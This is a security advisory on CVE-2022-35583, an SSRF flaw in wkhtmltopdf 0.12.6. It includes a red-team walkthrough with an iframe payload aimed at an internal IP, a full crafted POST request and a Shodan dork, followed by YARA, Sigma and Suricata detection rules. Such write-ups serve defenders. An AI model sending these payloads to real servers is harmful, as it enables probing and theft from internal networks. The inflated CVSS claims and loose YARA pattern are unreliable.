CVE-2022-35583

Executive Summary

CVE-2022-35583 is a Server-Side Request Forgery (SSRF) vulnerability in wkhtmltopdf version 0.12.6. The flaw allows an attacker to inject an <iframe> tag with an internal IP address as its source, causing the wkhtmltopdf tool to make requests to internal assets. This can lead to initial access into the target's system and potentially full infrastructure compromise. The vulnerability is publicly exploited with a proof-of-concept (PoC) available on Exploit-DB. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the standalone wkhtmltopdf binary, commonly used in web applications for HTML-to-PDF conversion.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the exploit and impact, a more realistic score is 9.8 (Critical).
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical – Exploitation is trivial and can lead to full internal network compromise.

Deep Dive & Mechanics

The vulnerability resides in wkhtmltopdf's handling of HTML content. When the tool processes a user-supplied HTML string (e.g., via a POST request to a PDF generation endpoint), it does not properly sanitize or restrict the <iframe> tag. An attacker can craft a payload like:

<iframe src="http://10.10.10.1"></iframe>

When wkhtmltopdf renders this HTML, it makes an HTTP request to the specified internal IP address. This allows the attacker to:

• Probe internal network services (e.g., databases, admin panels, cloud metadata endpoints).
• Bypass firewalls since the request originates from the server itself.
• Exfiltrate data if the response is included in the generated PDF.

The exploit works because wkhtmltopdf uses a headless browser (WebKit) to render HTML, and the browser follows iframe sources without restriction.

Vulnerable vs. Patched Code

Vulnerable Code (0.12.6):

• No input validation on <iframe> src attributes.
• The tool processes all HTML tags without a whitelist.

Patched Code (None available):

• A hypothetical patch would block or sanitize <iframe> tags, or restrict outbound requests to internal IP ranges.
• No official patch exists; users must implement workarounds.

Exploitation & Lab Setup

Red Team

Exploit-DB Code Usage:

The provided exploit targets an ASP.NET endpoint /PDF/FromHTML. The attacker sends a POST request with a crafted data parameter containing an iframe pointing to an internal IP.

Step-by-Step:

1. Identify a target using wkhtmltopdf 0.12.6 (e.g., via Shodan dork wkhtmltopdf).
2. Send the following HTTP request:

POST /PDF/FromHTML HTTP/1.1
Host: vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

__RequestVerificationToken=Token&header=<PDFstructure+>....&data= <PDFstructure+>....<iframe+src="http://10.10.10.1">

3. The server will generate a PDF containing the content of http://10.10.10.1 (if accessible).
4. Use this to scan internal IPs and services.

Lab Setup:

• Attacker Machine: Kali Linux with Burp Suite or curl.
• Target Machine: Windows Server running wkhtmltopdf 0.12.6 with an ASP.NET frontend.
• Internal Asset: A simple HTTP server on 10.10.10.1 (e.g., Python http.server).

Blue Team

Detection:

• Monitor outbound HTTP requests from wkhtmltopdf processes to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
• Look for PDF generation requests containing <iframe> tags with IP addresses.
• Use the Sigma rule below to detect suspicious POST requests.

Mitigation:

• Restrict wkhtmltopdf's network access using firewall rules or containerization.
• Implement input validation to strip <iframe> tags from user-supplied HTML.
• Use a web application firewall (WAF) to block requests containing iframe and internal IP patterns.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests from the server to internal IPs (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) originating from the wkhtmltopdf process.
• Logs: POST requests to /PDF/FromHTML or similar endpoints with data parameter containing <iframe src="http://...">.
• File: Generated PDF files containing content from internal services (e.g., cloud metadata, admin panels).

Detection Engineering

YARA Rule

rule CVE_2022_35583_SSRF_wkhtmltopdf {
    meta:
        description = "Detects SSRF attempts via iframe injection in wkhtmltopdf"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-35583"
    strings:
        $iframe = /<iframe[^>]+src\s*=\s*["']http:\/\/1\d{0,2}\./ nocase
        $iframe2 = /<iframe[^>]+src\s*=\s*["']http:\/\/172\./ nocase
        $iframe3 = /<iframe[^>]+src\s*=\s*["']http:\/\/192\.168\./ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2022-35583 SSRF via wkhtmltopdf iframe Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to PDF generation endpoints containing iframe tags with internal IP addresses.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/PDF/FromHTML'
        cs-uri-query|contains: 'iframe'
    condition: selection
falsepositives:
    - Legitimate use of iframes in PDF generation (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-35583 wkhtmltopdf SSRF iframe Injection"; flow:to_server,established; content:"POST"; http_method; content:"/PDF/FromHTML"; http_uri; content:"iframe"; http_client_body; pcre:"/<iframe[^>]+src\s*=\s*[\x22\x27]http:\/\/(10\.|172\.|192\.168\.)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade: No official patch exists. Consider switching to an alternative tool (e.g., Puppeteer, WeasyPrint) or upgrading to a newer version if available.
2. Network Segmentation: Run wkhtmltopdf in a container or sandbox with restricted network access (e.g., deny outbound to private IP ranges).
3. Input Validation: Strip or sanitize <iframe> tags from user-supplied HTML before passing to wkhtmltopdf.
4. WAF Rules: Block requests containing iframe and internal IP patterns.
5. Monitoring: Implement detection rules (YARA, Sigma, Suricata) to alert on exploitation attempts.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 550E2B425518AE2235A3E1F5] */}